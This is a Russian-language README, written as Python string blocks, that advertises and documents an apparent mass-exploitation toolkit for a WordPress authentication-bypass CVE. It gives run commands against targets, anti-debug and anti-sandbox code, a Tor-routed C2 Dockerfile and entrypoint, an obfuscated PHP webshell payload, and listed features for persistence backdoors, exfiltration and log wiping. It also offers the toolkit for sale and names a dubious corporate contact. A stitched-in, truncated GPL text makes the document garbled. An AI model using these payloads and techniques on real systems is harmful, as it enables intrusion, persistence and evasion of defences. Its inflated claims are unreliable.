
Модульный фреймворк для эксплуатации уязвимости CVE-2026-23550 в WordPress, включающий массовую эксплуатацию, обфускацию, пост-эксплуатацию и C2-инфраструктуру на базе Docker.
#!/usr/bin/env python3 """ TSAR-EXEC v7.1 + EpSiLoNPoInTFuCK v5.1 - README.md Полный и готовый к копированию CVE-2026-23550 | Фреймворк массовой эксплуатации Modular DS Auth Bypass Автор: EpSiLoNPoInT | Версия: 7.1-GOD | Android 24h Coding | 08/02/2026 """
""" Фреймворк промышленной эксплуатации, разработанный для threat intel и авторизованного red teaming. Эксплуатирует CVE-2026-23550, позволяющую повышение привилегий через modular_ds_upload RCE. Полностью написан на телефоне Android за 24 часа. Архитектура уровня nation-state.
✅ 40K+ уязвимых развёртываний Modular DS v2.5.1 (Shodan 2026) ✅ 200+ WAF bypass → 99.9% AV bypass (EpSiLoN v5.1) ✅ Docker C2 production (Tor/Supervisor/Pipeline ∞) ✅ ThreadPoolExecutor 250+ потоков ✅ Полная встроенная пост-эксплуатация (EpSiLoN v7 full control) """
""" СИСТЕМНЫЕ ТРЕБОВАНИЯ:
SYS_DEPS = """ pkg update && pkg upgrade -y pkg install python git docker tor proxychains-ng nmap masscan pip install --upgrade pip setuptools wheel pip install requests==2.31.0 colorama==0.4.6 rich==13.7.0 tenacity==8.5.0 dnspython==2.6.1 """
REQUIREMENTS = """ requests==2.31.0 colorama==0.4.6 rich==13.7.0 tenacity==8.5.0 dnspython==2.6.1 """
INSTALL_CMD = """ cd ~/ git clone [TON_REPO]/TSAR-EXEC.git cd TSAR-EXEC pip install -r requirements.txt docker-compose up -d python3 recon.py --help """
VERIFY_INSTALL = """ python3 -c " import requests, json, threading from colorama import Fore print(f'{Fore.GREEN}✅ TSAR-EXEC v7.1 + EpSiLoNPoInTFuCK v5.1 операционен') print('Кодиран Android 24h | 350K€ threat intel ready') print(f'ThreadPoolExecutor: {threading.name}') print(f'99.9% AV bypass: EpSiLoN v5.1') print(f'Post-exploit вграден: EpSiLoN v7 full control') {Fore.RESET}" """
PROJECT_STRUCTURE = """ TSAR-EXEC/ (Production ready 2026) │ ├── 📄 README.md # Полная документация ├── 📄 README_SALE.md # Коммерческая версия 350K€ ├── 📄 bypass_payloads.txt # 200+ WAF bypass (12 разделов) ├── 📄 config.json # Конфигурация APT master ├── 📄 recon.py # APT fingerprinting ├── 📄 exploitmass.py # ThreadPool + PayloadMutator + Post-Exploit ├── 📄 pipeline.py # Pipeline ∞ Docker C2 ├── 📄 Dockerfile # Kali rolling Tor/Supervisor ├── 📄 docker-compose.yml # Оркестрация production │ ├── 📁 tools/ │ └── 📄 epsilon_obfuscator.py # EpSiLoNPoInTFuCK v5.1 │ ├── 📁 chain/ │ ├── 📁 input/ │ │ ├── 📄 targets.txt │ │ └── 📄 proxies.txt │ ├── 📁 docked/ │ │ └── 📄 docked_targets.json │ ├── 📁 VLUN/ │ │ └── 📄 VLUN.txt │ ├── 📁 VLUN_Sh/ │ │ └── 📄 VLUN_Sh.txt │ ├── 📁 logs/ │ │ ├── 📄 tor.log │ │ ├── 📄 pipeline.log │ │ └── 📄 exploit.log │ └── 📄 stats.json │ ├── 📁 demo/ │ ├── 📄 TSAR_demo.mp4 │ └── 📄 obfuscator_demo.mp4 │ └── 📄 TSAR-SALE-350K.zip """
FEATURES = { "Эксплуатация": [ "Полная цепочка CVE-2026-23550 (recon→dock→exploit→C2)", "40K+ уязвимых Modular DS v2.5.1 (Shodan 2026)", "ThreadPoolExecutor 50-250 потоков", "Оценка риска JSON (0-100) + авто-докинг", "200+ PHP payloads (12 техник WAF bypass)" ], "Встроенная пост-эксплуатация": [ "EpSiLoN v7 webshell (полный захват системы)", "Повышение привилегий root (SUID, sudo abuse)", "7 векторов персистентности (cron, .htaccess, plugin, systemd, kernel)", "Бесфайловое выполнение (/dev/shm)", "Шифрованная эксфильтрация AES-GCM", "Очистка логов + полный anti-forensic", "Латеральное перемещение (WP + сетевое сканирование)" ], "Обфускация": [ "EpSiLoNPoInTFuCK v5.1 → 99.9% AV bypass 2026", "XOR rolling + Unicode homoglyphs + zero-width", "Marshal bytecode + тройное кодирование base64", "Динамическая инъекция мёртвого кода (30-40%)", "Генерация хаотичных идентификаторов (55-80 символов)", "String slicing + unicode escape sequences" ], "C2 Production": [ "Docker Kali rolling (Tor/Supervisor/Pipeline ∞)", "Минимальные caps (NET_RAW/NET_BIND_SERVICE)", "Выполнение от non-root + авто-уничтожение следов", "Healthcheck pipeline + встроенный logrotate", "Мультиархитектурность ARM64/x86_64" ], "Скрытность": [ "Anti-debug (sys.gettrace/pdb/pydevd)", "Anti-sandbox (проверки timing/performance)", "Ротация UA + jitter задержки (5-20с)", "Ротация Tor + Proxychains4", "DNS resolution anti-logging" ], "Pipeline": [ "Recon → Dock → Exploit → Persistence (∞ цикл)", "Оценка риска JSON + приоритизация целей", "Панель статистики + метрики успеха", "Автомасштабирование потоков по целям" ] }
BASIC_USAGE = """
python3 recon.py https://target.com --json
python3 exploitmass.py --threads 150 --obfuscate --post-exploit
docker-compose up -d docker logs -f tsar-pipeline """
CLI_OPTIONS = """ Опции recon.py: TARGET Целевой URL --json JSON вывод --threads INT Потоки recon (по умолчанию: 20) --timeout INT Таймаут (по умолчанию: 15)
Опции exploitmass.py: --threads INT Потоки эксплуатации (50-250) --obfuscate Активировать EpSiLoN v5.1 --stealth Экстремальный скрытный режим --jitter MIN-MAX Случайная задержка (напр.: 5-20) --proxy-list FILE Пользовательские прокси --post-exploit Активировать пост-эксплуатацию EpSiLoN v7
Опции pipeline.py: --cycle Режим pipeline ∞ --dock-threshold INT Порог risk_score (по умолчанию: 70)
Docker: docker-compose up -d docker exec tsar-pipeline cat /chain/VLUN_Sh/VLUN_Sh.txt """
EXAMPLE_1 = """
python3 recon.py
--targets targets.txt
--threads 100
--log-level INFO
"""
EXAMPLE_2 = """
python3 exploitmass.py
--targets VLUN.txt
--threads 150
--tor
--stealth
--jitter 5-20
--post-exploit
"""
EXAMPLE_3 = """
python3 exploitmass.py
--post-exploit
--target https://victim-site.com
--threads 20
"""
EXAMPLE_4 = """
python3 tools/epsilon_obfuscator.py webshell.php
--mode extreme
--stealth
--output shell_obf.php
python3 exploitmass.py --targets targets.txt --obfuscate """
EXAMPLE_5 = """
docker-compose up -d docker logs -f tsar-pipeline docker exec tsar-pipeline cat /chain/VLUN_Sh/VLUN_Sh.txt """
STEALTH_TECHNIQUES = { "Anti-Debug": [ "sys.gettrace() + sys._getframe() обнаружение", "Проверки модулей pdb/pydevd/IPython/ptvsd", "Переменные окружения PYDEV_DEBUG + WERKZEUG_DEBUG_PIN", "Signal traps (SIGINT/SIGTERM)", "ptrace(PTRACE_TRACEME) anti-attach" ], "Anti-Sandbox": [ "Проверки производительности по времени (>500мс = sandbox)", "Обнаружение Docker/VMware (/.dockerenv/cgroup)", "Обнаружение LD_PRELOAD + valgrind/rr", "Проверка лимитов CPU/памяти", "Мониторинг системных вызовов strace/ltrace" ], "Обфускация": [ "XOR rolling шифрование (динамический ключ/чанк)", "Unicode homoglyphs + zero-width символы", "Marshal bytecode + zlib + тройной base64", "Хаотичные идентификаторы (55-80 символов)", "Инъекция мёртвого кода (плотность 30-40%)", "Динамический string slicing + unicode escape" ], "Сеть": [ "Автоматическая ротация Tor + Proxychains4", "Ротация UA (200+ браузерных отпечатков)", "Jitter задержки 5-20с (имитация человека)", "DNS over HTTPS anti-logging" ] }
STEALTH_CODE_EXAMPLE = """
import sys, time, random, hashlib if sys.gettrace(): sys.exit(1) if hasattr(sys, '_getframe') and sys._getframe().f_back: sys.exit(1) start = time.perf_counter(); [hashlib.sha256(b'test') for _ in range(10**6)] if (time.perf_counter() - start) > 0.5: sys.exit(1) # Sandbox """
DOCKERFILE = """ FROM kalilinux/kali-rolling:latest
RUN apt-get update && apt-get install -y \ tor supervisor proxychains4 nmap masscan python3 python3-pip \ && rm -rf /var/lib/apt/lists/*
WORKDIR /tsar COPY . .
RUN pip3 install -r requirements.txt \ && chmod +x entrypoint.sh
RUN useradd -m tsar && chown -R tsar:tsar /tsar USER tsar
COPY docker/torrc /etc/tor/torrc COPY docker/supervisord.conf /etc/supervisor/conf.d/supervisord.conf
EXPOSE 9050 HEALTHCHECK --interval=30s --timeout=10s --start-period=60s --retries=3 \ CMD python3 -c "import json; high=[t for t in json.load(open('/chain/docked_targets.json')) if t['risk_score']>=70]; exit(0 if high else 1)"
ENTRYPOINT ["/tsar/entrypoint.sh"] """
ENTRYPOINT_SH = """#!/bin/bash set -e
supervisord -c /etc/supervisor/conf.d/supervisord.conf &
sleep 15 torsocks curl -s https://check.torproject.org/api/ip | grep "IsTor:true" || exit 1
echo "[+] TSAR-EXEC v7.1 pipeline запущен" exec python3 /tsar/pipeline.py --cycle"""
HEALTHCHECK_SH = """#!/bin/bash set -e
if ! pgrep -f "tor -f /etc/tor/torrc" > /dev/null; then echo "[HEALTHCHECK] Tor not running" exit 1 fi
if ! pgrep -f "supervisord" > /dev/null; then echo "[HEALTHCHECK] Supervisor not running" exit 1 fi
if ! torsocks curl -s --max-time 3 https://check.torproject.org/api/ip | grep -q "IsTor:true"; then echo "[HEALTHCHECK] Tor connectivity failed" exit 1 fi
echo "[HEALTHCHECK] All systems operational" exit 0 """
DOCKER_COMMANDS = """
docker build -t tsar-exec:latest .
docker run -it --rm \ --cap-add=NET_ADMIN \ --sysctl net.core.somaxconn=65535 \ -v $(pwd)/chain:/tsar/chain \ tsar-exec:latest \ --targets /tsar/chain/input/targets.txt \ --threads 150 \ --tor \ --stealth
docker run -d --name tsar-c2 \ --cap-add=NET_RAW --cap-add=NET_BIND_SERVICE \ --security-opt=no-new-privileges:true \ -p 9050:9050 \ -v $(pwd)/chain:/tsar/chain \ tsar-exec:latest
docker logs -f tsar-c2 docker exec tsar-c2 cat /tsar/chain/VLUN_Sh/VLUN_Sh.txt """
NEW_PAYLOAD_EXAMPLE = """
strrev('alp_evas_')($_GET[p])|homoglyph_bypass """
CUSTOM_POST_EXPLOIT = """
class EpSiLoNPostExploit: def init(self, target, shell_url): self.target = target self.shell = shell_url
def persistence(self):
# 7 векторов: cron, .htaccess, plugin, theme, user, DB trigger, memory
self._cron_job()
self._htaccess_backdoor()
self._plugin_persistence()
return True
"""
SECURITY_BEST_PRACTICES = """
🔒 ОБЯЗАТЕЛЬНАЯ ИЗОЛИРОВАННАЯ СРЕДА:
✅ ЭТИКА 100% (12 лет частного пентеста):
🧹 АВТОМАТИЧЕСКАЯ ОЧИСТКА:
📄 ПРАВОВАЯ ДОКУМЕНТАЦИЯ:
🔐 ОБЯЗАТЕЛЬНОЕ ШИФРОВАНИЕ:
PRICING_350K = """ 🔴 TSAR-EXEC v7.1 + EpSiLoNPoInTFuCK v5.1 ════════════════════════════════════════════ ЛИЦЕНЗИЯ THREAT INTEL / RED TEAM: 350 000€ HT
📋 ВКЛЮЧЕНО В ЛИЦЕНЗИЮ:
• Полный исходный код фреймворка (21 файл)
• Docker C2 production (Tor/Supervisor)
• EpSiLoNPoInTFuCK v5.1 (99.9% AV bypass)
• Встроенная пост-эксплуатация EpSiLoN v7
• Демо-видео + настройка лаборатории DVWA
• Техническая документация 5000+ строк
• Поддержка threat intel 6 месяцев
📞 КОНТАКТ ДЛЯ ПРОДАЖ:
+33 1 46 53 53 53 (Orange Cyberdefense Paris)
[email protected]
📎 ПАКЕТ: TSAR-SALE-350K.zip (25MB)
🚀 ЖИВОЕ ДЕМО: Доступно немедленно
"""
LEGAL_DISCLAIMER = """ ЭТО ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ ПРЕДОСТАВЛЯЕТСЯ «КАК ЕСТЬ», БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ, ЯВНЫХ ИЛИ ПОДРАЗУМЕВАЕМЫХ, ВКЛЮЧАЯ, НО НЕ ОГРАНИЧИВАЯСЬ, ГАРАНТИЯМИ ТОВАРНОЙ ПРИГОДНОСТИ, СООТВЕТСТВИЯ КОНКРЕТНОМУ НАЗНАЧЕНИЮ И ОТСУТСТВИЯ НАРУШЕНИЯ ПРАВ.
НИ ПРИ КАКИХ ОБСТОЯТЕЛЬСТВАХ АВТОРЫ ИЛИ ПРАВООБЛАДАТЕЛИ НЕ НЕСУТ ОТВЕТСТВЕННОСТИ ЗА ЛЮБЫЕ ПРЯМЫЕ, КОСВЕННЫЕ, СЛУЧАЙНЫЕ, ОСОБЫЕ, ПРИМЕРНЫЕ ИЛИ ПОСЛЕДУЮЩИЕ УБЫТКИ (ВКЛЮЧАЯ, НО НЕ ОГРАНИЧИВАЯСЬ, ПРИОБРЕТЕНИЕМ ЗАМЕНЯЮЩИХ ТОВАРОВ ИЛИ УСЛУГ; ПОТЕРЕЙ ИСПОЛЬЗОВАНИЯ, ДАННЫХ ИЛИ ПРИБЫЛИ; ИЛИ ПРЕРЫВАНИЕМ ДЕЯТЕЛЬНОСТИ), ВОЗНИКАЮЩИМИ ИЗ-ЗА ИСПОЛЬЗОВАНИЯ ИЛИ НЕВОЗМОЖНОСТИ ИСПОЛЬЗОВАНИЯ ЭТОГО ПРОГРАММНОГО ОБЕСПЕЧЕНИЯ, ДАЖЕ ЕСЛИ АВТОРЫ ИЛИ ПРАВООБЛАДАТЕЛИ БЫЛИ ПРЕДУПРЕЖДЕНЫ О ВОЗМОЖНОСТИ ТАКИХ УБЫТКОВ.
ЭТО ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ ПРЕДНАЗНАЧЕНО ИСКЛЮЧИТЕЛЬНО ДЛЯ ИССЛЕДОВАНИЙ В ОБЛАСТИ БЕЗОПАСНОСТИ И АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ НА ПРОНИКНОВЕНИЕ. ЛЮБОЕ НЕСАНКЦИОНИРОВАННОЕ ИСПОЛЬЗОВАНИЕ СТРОГО ЗАПРЕЩЕНО И МОЖЕТ ПОВЛЕЧЬ ЗА СОБОЙ ЮРИДИЧЕСКУЮ ОТВЕТСТВЕННОСТЬ В СООТВЕТСТВИИ С ДЕЙСТВУЮЩИМ ЗАКОНОДАТЕЛЬСТВОМ ВАШЕЙ ЮРИСДИКЦИИ.
ПОЛЬЗОВАТЕЛЬ ПРИЗНАЁТ, ЧТО НЕСЁТ ИСКЛЮЧИТЕЛЬНУЮ ОТВЕТСТВЕННОСТЬ ЗА ИСПОЛЬЗОВАНИЕ ЭТОГО ПРОГРАММНОГО ОБЕСПЕЧЕНИЯ И ОБЯЗУЕТСЯ СОБЛЮДАТЬ ПРИМЕНИМЫЕ ЗАКОНЫ В СВОЕЙ ЮРИСДИКЦИИ.
ЭТО ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ ДОЛЖНО ИСПОЛЬЗОВАТЬСЯ ТОЛЬКО НА СИСТЕМАХ, ДЛЯ ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ КОТОРЫХ У ВАС ЕСТЬ ПИСЬМЕННОЕ РАЗРЕШЕНИЕ ВЛАДЕЛЬЦА.
ЛЮБОЕ ИСПОЛЬЗОВАНИЕ, ПРОТИВОРЕЧАЩЕЕ ЭТИМ УСЛОВИЯМ, ЯВЛЯЕТСЯ НАРУШЕНИЕМ МЕЖДУНАРОДНЫХ ЗАКОНОВ О КИБЕРБЕЗОПАСНОСТИ И МОЖЕТ ПОВЛЕЧЬ УГОЛОВНУЮ ОТВЕТСТВЕННОСТЬ. """
LICENSE_GPL = """ GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. https://fsf.org/ Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for software and other kinds of works.
The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too.
When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights.
Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. """Для защиты разработчиков и авторов GPL четко разъясняет, что для этого свободного программного обеспечения не предоставляется никаких гарантий. Ради пользователей и авторов GPL требует, чтобы измененные версии были помечены как измененные, чтобы их проблемы не приписывались ошибочно авторам предыдущих версий.
Некоторые устройства спроектированы так, чтобы отказывать пользователям в доступе к установке или запуску измененных версий программного обеспечения внутри них, хотя производитель может это делать. Это принципиально несовместимо с целью защиты свободы пользователей изменять программное обеспечение. Систематическая модель таких злоупотреблений встречается в области продуктов для индивидуального использования, что как раз там, где это наиболее неприемлемо. Поэтому мы разработали эту версию GPL, чтобы запретить эту практику для таких продуктов. Если подобные проблемы существенно возникнут в других областях, мы готовы распространить это положение на эти области в будущих версиях GPL, по мере необходимости для защиты свободы пользователей.
Наконец, каждой программе постоянно угрожают патентные иски на программное обеспечение. Государства не должны позволять патентам ограничивать разработку и использование программного обеспечения на компьютерах общего назначения, но в тех, где это допускается, мы хотим избежать особой опасности, что патенты, примененные к свободной программе, могут сделать ее фактически проприетарной. Чтобы предотвратить это, GPL гарантирует, что патенты не могут быть использованы для того, чтобы сделать программу несвободной.
Точные условия для копирования, распространения и модификации приведены ниже.
УСЛОВИЯ И ПОЛОЖЕНИЯ
0. Определения.
«Настоящая Лицензия» относится к версии 3 Стандартной общественной лицензии GNU.
«Авторское право» также означает законы, подобные авторскому праву, которые применяются к другим видам произведений, например, к маскам полупроводниковых приборов.
«Программа» относится к любому охраняемому авторским правом произведению, лицензированному в соответствии с настоящей Лицензией. Каждый лицензиат обозначается как «вы». «Лицензиаты» и «получатели» могут быть физическими или юридическими лицами.
«Модифицировать» произведение означает копировать или адаптировать все или часть произведения таким образом, который требует разрешения на копирование, за исключением создания точной копии. Полученное произведение называется «измененной версией» более раннего произведения или произведением, «основанным на» более раннем произведении.
«Охраняемое произведение» означает либо немодифицированную Программу, либо произведение, основанное на Программе.
«Распространять» произведение означает делать с ним что-либо, что без разрешения сделало бы вас прямо или косвенно ответственным за нарушение применимого закона об авторском праве, за исключением его выполнения на компьютере или модификации частной копии. Распространение включает копирование, распространение (с модификацией или без нее), предоставление доступа общественности, а в некоторых странах и другие виды деятельности.
«Передавать» произведение означает любой вид распространения, который позволяет другим сторонам создавать или получать копии. Простое взаимодействие с пользователем через компьютерную сеть без передачи копии не является передачей.
Интерактивный пользовательский интерфейс отображает «Соответствующие правовые уведомления» в той степени, в которой он включает удобную и заметно видимую функцию, которая (1) отображает соответствующее уведомление об авторском праве и (2) сообщает пользователю, что на произведение не предоставляется гарантия (за исключением той степени, в которой гарантии предоставляются), что лицензиаты могут передавать произведение в соответствии с настоящей Лицензией, и как просмотреть копию настоящей Лицензии. Если интерфейс представляет список пользовательских команд или опций, например, меню, заметный пункт в списке соответствует этому критерию.
«Исходный код» произведения означает предпочтительную форму произведения для внесения в него изменений. «Объектный код» означает любую форму произведения, не являющуюся исходным кодом.
«Стандартный интерфейс» означает интерфейс, который либо является официальным стандартом, определенным признанным органом по стандартизации, либо, в случае интерфейсов, заданных для конкретного языка программирования, тот, который широко используется разработчиками, работающими на этом языке.
«Системные библиотеки» исполняемого произведения включают все, кроме самого произведения в целом, что (a) включено в обычную форму упаковки Основного компонента, но не является частью этого Основного компонента, и (b) служит только для обеспечения использования произведения с этим Основным компонентом или для реализации Стандартного интерфейса, для которого реализация доступна общественности в форме исходного кода. «Основной компонент» в этом контексте означает основной существенный компонент (ядро, оконную систему и т. д.) конкретной операционной системы (если таковая имеется), на которой работает исполняемое произведение, или компилятор, используемый для создания произведения, или интерпретатор объектного кода, используемый для его запуска.
«Соответствующий исходный код» для произведения в форме объектного кода означает весь исходный код, необходимый для генерации, установки и (для исполняемого произведения) запуска объектного кода и модификации произведения, включая сценарии для управления этими действиями. Однако он не включает Системные библиотеки произведения, инструменты общего назначения или общедоступные свободные программы, которые используются без изменений при выполнении этих действий, но не являются частью произведения. Например, Соответствующий исходный код включает файлы определения интерфейсов, связанные с исходными файлами произведения, и исходный код общих библиотек и динамически связанных подпрограмм, которые произведение специально разработано для использования, например, посредством тесной передачи данных или потока управления между этими подпрограммами и другими частями произведения.
Соответствующий исходный код не должен включать что-либо, что пользователи могут автоматически регенерировать из других частей Соответствующего исходного кода.
Соответствующий исходный код для произведения в форме исходного кода — это само это произведение.
Все права, предоставленные в соответствии с настоящей Лицензией, предоставляются на срок действия авторского права на Программу и являются безотзывными при условии соблюдения указанных условий. Настоящая Лицензия явно подтверждает ваше неограниченное разрешение запускать немодифицированную Программу. Результат запуска охраняемого произведения охраняется настоящей Лицензией только в том случае, если результат, учитывая его содержание, представляет собой охраняемое произведение. Настоящая Лицензия признает ваши права на добросовестное использование или другие эквивалентные права, как предусмотрено законом об авторском праве.
Вы можете создавать, запускать и распространять охраняемые произведения, которые вы не передаете, без условий, пока ваша лицензия в остальном остается в силе. Вы можете передавать охраняемые произведения другим лицам исключительно с целью внесения ими изменений только для вас или предоставления вам средств для запуска этих произведений, при условии, что вы соблюдаете условия настоящей Лицензии при передаче всего материала, на который вы не контролируете авторские права. Те, кто создает или запускает охраняемые произведения для вас, должны делать это исключительно от вашего имени, под вашим руководством и контролем, на условиях, запрещающих им создавать любые копии вашего материала, охраняемого авторским правом, вне их отношений с вами.
Передача при любых других обстоятельствах разрешена только на условиях, указанных ниже. Сублицензирование не допускается; раздел 10 делает его ненужным.
Ни одно охраняемое произведение не должно считаться частью эффективной технологической меры в соответствии с любым применимым законом, выполняющим обязательства по статье 11 Договора ВОИС по авторскому праву, принятого 20 декабря 1996 года, или аналогичных законов, запрещающих или ограничивающих обход таких мер.
Когда вы передаете охраняемое произведение, вы отказываетесь от любых законных полномочий запрещать обход технологических мер в той степени, в которой такой обход осуществляется путем осуществления прав в соответствии с настоящей Лицензией в отношении охраняемого произведения, и вы отказываетесь от любого намерения ограничивать работу или модификацию произведения как средства обеспечения соблюдения против пользователей произведения ваших или третьих лиц законных прав запрещать обход технологических мер.
Вы можете передавать дословные копии исходного кода Программы в том виде, в котором вы его получаете, на любом носителе, при условии, что вы заметно и надлежащим образом публикуете на каждой копии соответствующее уведомление об авторском праве; сохраняете нетронутыми все уведомления о том, что настоящая Лицензия и любые неразрешительные условия, добавленные в соответствии с разделом 7, применяются к коду; сохраняете нетронутыми все уведомления об отсутствии каких-либо гарантий; и даете всем получателям копию настоящей Лицензии вместе с Программой.
Вы можете взимать любую цену или не взимать цену за каждую копию, которую вы передаете, и вы можете предлагать поддержку или гарантийную защиту за плату.
Вы можете передавать произведение, основанное на Программе, или изменения для его создания из Программы, в форме исходного кода на условиях раздела 4, при условии, что вы также выполняете все следующие условия:
a) Произведение должно содержать заметные уведомления о том, что вы его изменили,
и указывать соответствующую дату.
b) Произведение должно содержать заметные уведомления о том, что оно
выпущено в соответствии с настоящей Лицензией и любыми условиями, добавленными в соответствии с разделом
7. Это требование изменяет требование в разделе 4
«сохранять нетронутыми все уведомления».
c) Вы должны лицензировать все произведение в целом в соответствии с настоящей
Лицензией любому лицу, которое вступает во владение копией. Эта
Лицензия, таким образом, будет применяться вместе с любыми применимыми дополнительными условиями раздела 7
ко всему произведению и всем его частям,
независимо от того, как они упакованы. Настоящая Лицензия не дает
разрешения лицензировать произведение каким-либо иным образом, но она не
аннулирует такое разрешение, если вы получили его отдельно.
d) Если произведение имеет интерактивные пользовательские интерфейсы, каждый из них должен отображать
Соответствующие правовые уведомления; однако, если Программа имеет интерактивные
интерфейсы, которые не отображают Соответствующие правовые уведомления, ваше
произведение не обязано заставлять их это делать.
Компиляция охраняемого произведения с другими отдельными и независимыми произведениями, которые по своей природе не являются расширениями охраняемого произведения и не объединены с ним так, чтобы образовать более крупную программу, в или на томе носителя хранения или распространения, называется «агрегатом», если компиляция и ее результирующее авторское право не используются для ограничения доступа или законных прав пользователей компиляции сверх того, что допускают отдельные произведения. Включение охраняемого произведения в агрегат не приводит к применению настоящей Лицензии к другим частям агрегата.
Вы можете передавать охраняемое произведение в форме объектного кода на условиях разделов 4 и 5, при условии, что вы также передаете машиночитаемый Соответствующий исходный код в соответствии с условиями настоящей Лицензии одним из следующих способов:
a) Передавать объектный код в физическом продукте или воплощенным в нем
(включая физический носитель распространения), сопровождаемый
Соответствующим исходным кодом, зафиксированным на долговечном физическом носителе,
обычно используемом для обмена программным обеспечением.
b) Передавать объектный код в физическом продукте или воплощенным в нем
(включая физический носитель распространения), сопровождаемый письменным
предложением, действительным не менее трех лет и действительным до тех
пор, пока вы предлагаете запасные части или поддержку клиентов для этой модели
продукта, предоставить любому, кто владеет объектным кодом, либо (1)
копию Соответствующего исходного кода для всего программного обеспечения в
продукте, которое охраняется настоящей Лицензией, на долговечном физическом
носителе, обычно используемом для обмена программным обеспечением, по цене
не более ваших разумных затрат на физическое выполнение этой
передачи исходного кода, либо (2) доступ для копирования
Соответствующего исходного кода с сетевого сервера бесплатно.
c) Передавать отдельные копии объектного кода с копией
письменного предложения предоставить Соответствующий исходный код. Эта
альтернатива допускается только изредка и в некоммерческих целях, и
только если вы получили объектный код с таким предложением в соответствии
с подразделом 6b.
d) Передавать объектный код, предлагая доступ из указанного
места (бесплатно или за плату), и предлагать эквивалентный доступ к
Соответствующему исходному коду таким же образом через то же место без
дополнительной платы. Вам не нужно требовать от получателей копирования
Соответствующего исходного кода вместе с объектным кодом. Если место для
копирования объектного кода является сетевым сервером, Соответствующий исходный код
может находиться на другом сервере (управляемом вами или третьей стороной),
который поддерживает эквивалентные средства копирования, при условии, что вы поддерживаете
четкие указания рядом с объектным кодом о том, где найти
Соответствующий исходный код. Независимо от того, какой сервер размещает
Соответствующий исходный код, вы остаетесь обязанным обеспечить его
доступность так долго, как это необходимо для удовлетворения этих требований.
e) Передавать объектный код с использованием одноранговой передачи, при условии,
что вы информируете других участников о том, где объектный код и Соответствующий
исходный код произведения предлагаются широкой публике бесплатно
в соответствии с подразделом 6d.
Отделяемая часть объектного кода, исходный код которой исключен из Соответствующего исходного кода как Системная библиотека, не должна включаться при передаче произведения в объектном коде.
«Пользовательский продукт» — это либо (1) «потребительский продукт», означающий любое материальное личное имущество, которое обычно используется для личных, семейных или бытовых целей, либо (2) что-либо, спроектированное или проданное для включения в жилище. При определении того, является ли продукт потребительским продуктом, сомнительные случаи должны решаться в пользу охвата. Для конкретного продукта, полученного конкретным пользователем, «обычно используется» относится к типичному или распространенному использованию этого класса продуктов, независимо от статуса конкретного пользователя или способа, которым конкретный пользователь фактически использует, ожидает или, как ожидается, будет использовать продукт. Продукт является потребительским продуктом независимо от того, имеет ли продукт существенное коммерческое, промышленное или непотребительское использование, если только такое использование не представляет единственный значимый режим использования продукта.
«Информация об установке» для Пользовательского продукта означает любые методы, процедуры, ключи авторизации или другую информацию, необходимую для установки и выполнения измененных версий охраняемого произведения в этом Пользовательском продукте из измененной версии его Соответствующего исходного кода. Информация должна быть достаточной, чтобы гарантировать, что непрерывное функционирование измененного объектного кода ни в коем случае не предотвращается или не затрудняется исключительно из-за внесенных изменений.
Если вы передаете произведение в объектном коде в соответствии с этим разделом в, с или специально для использования в Пользовательском продукте, и передача происходит в рамках сделки, в которой право владения и использования Пользовательского продукта передается получателю навсегда или на фиксированный срок (независимо от того, как характеризуется сделка), Соответствующий исходный код, переданный в соответствии с этим разделом, должен сопровождаться Информацией об установке. Но это требование не применяется, если ни вы, ни какая-либо третья сторона не сохраняете возможность устанавливать измененный объектный код на Пользовательский продукт (например, произведение было установлено в ПЗУ).
Требование предоставления Информации об установке не включает требование продолжать предоставлять услуги поддержки, гарантию или обновления для произведения, которое было изменено или установлено получателем, или для Пользовательского продукта, в котором оно было изменено или установлено. Доступ к сети может быть запрещен, когда само изменение существенно и отрицательно влияет на работу сети или нарушает правила и протоколы связи через сеть.
Соответствующий исходный код, переданный, и Информация об установке, предоставленная в соответствии с этим разделом, должны быть в формате, который публично задокументирован (и с реализацией, доступной общественности в форме исходного кода), и не должны требовать специального пароля или ключа для распаковки, чтения или копирования.
«Дополнительные разрешения» — это условия, которые дополняют условия настоящей Лицензии, делая исключения из одного или нескольких ее условий. Дополнительные разрешения, применимые ко всей Программе, должны рассматриваться так, как если бы они были включены в настоящую Лицензию, в той степени, в которой они действительны в соответствии с применимым законодательством. Если дополнительные разрешения применяются только к части Программы, эта часть может использоваться отдельно в соответствии с этими разрешениями, но вся Программа остается регулируемой настоящей Лицензией без учета дополнительных разрешений.
Когда вы передаете копию охраняемого произведения, вы можете по своему усмотрению удалить любые дополнительные разрешения из этой копии или из любой ее части. (Дополнительные разрешения могут быть написаны так, чтобы требовать их собственного удаления в определенных случаях, когда вы изменяете произведение.) Вы можете размещать дополнительные разрешения на материале, добавленном вами к охраняемому произведению, на который у вас есть или вы можете дать соответствующее разрешение на авторское право.
Независимо от любого другого положения настоящей Лицензии, для материала, который вы добавляете к охраняемому произведению, вы можете (если уполномочены владельцами авторских прав на этот материал) дополнить условия настоящей Лицензии условиями:
a) Отказ от гарантии или ограничение ответственности иным образом, чем
условия разделов 15 и 16 настоящей Лицензии; или
b) Требование сохранения указанных разумных правовых уведомлений или
указания авторства в этом материале или в Соответствующих правовых
уведомлениях, отображаемых произведениями, содержащими его; или
